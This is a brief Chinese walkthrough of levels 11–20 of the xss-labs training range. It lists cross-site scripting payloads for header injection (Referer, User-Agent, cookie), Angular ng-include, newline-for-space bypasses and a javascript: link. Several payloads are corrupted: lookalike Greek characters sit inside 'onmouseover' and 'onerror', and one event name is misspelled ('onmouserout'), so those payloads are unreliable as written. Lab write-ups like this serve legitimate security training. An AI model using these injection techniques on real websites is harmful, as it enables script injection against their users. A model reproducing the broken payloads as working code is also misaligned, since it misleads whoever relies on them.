第十一关
只能发现一个写入点,就是url但是没有什么回显
查看源码,发现在有从第十关跳过来的referter
发现应该是修改referter进行弹窗,打开burp抓包
构造payload: "οnmοuseοver='alert(1)' type='text'
第十二关
查看源码和十一关差不多,还是抓包修改 user-agent
构造payload: " οnmοuseοut="alert(/xss/)"type="text"
第十三关
进入页面打开源码进行查看,没有什么发现,就进行抓包看一下 数据包内容,发现cookie:user
构造payload: " onmouserout="alert(/xss/)"type="text"
第十四关
存在错误直接进入第十五关
第十五关
进入十五关,打开源码没有发现存在输入点,发现使用了angular.min.js框架开发
可以先使用src='level1.php'
直接构造poc src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
第十六关
发现script / 空格 都被编码了,不过可以使用%0a和%0d代替空格
构造payload: <img%0asrc=1%0aοnerrοr=alert(1)>
第十七关
需要特定浏览器,换为chrome,arg01和arg02输入的内容会自动拼接
构造payload:arg01=a&arg02=b οnmοuseοver=alert(1)
第十八关
和十七关一样,区别可能在于这一关隐藏在不支持的插件中
第十九关
这里就提供一个payload
arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
详情可以查看 xss-labs靶场-第十九关 FLASH XSS - FreeBuf网络安全行业门户
第二十关
可查看下面大佬写的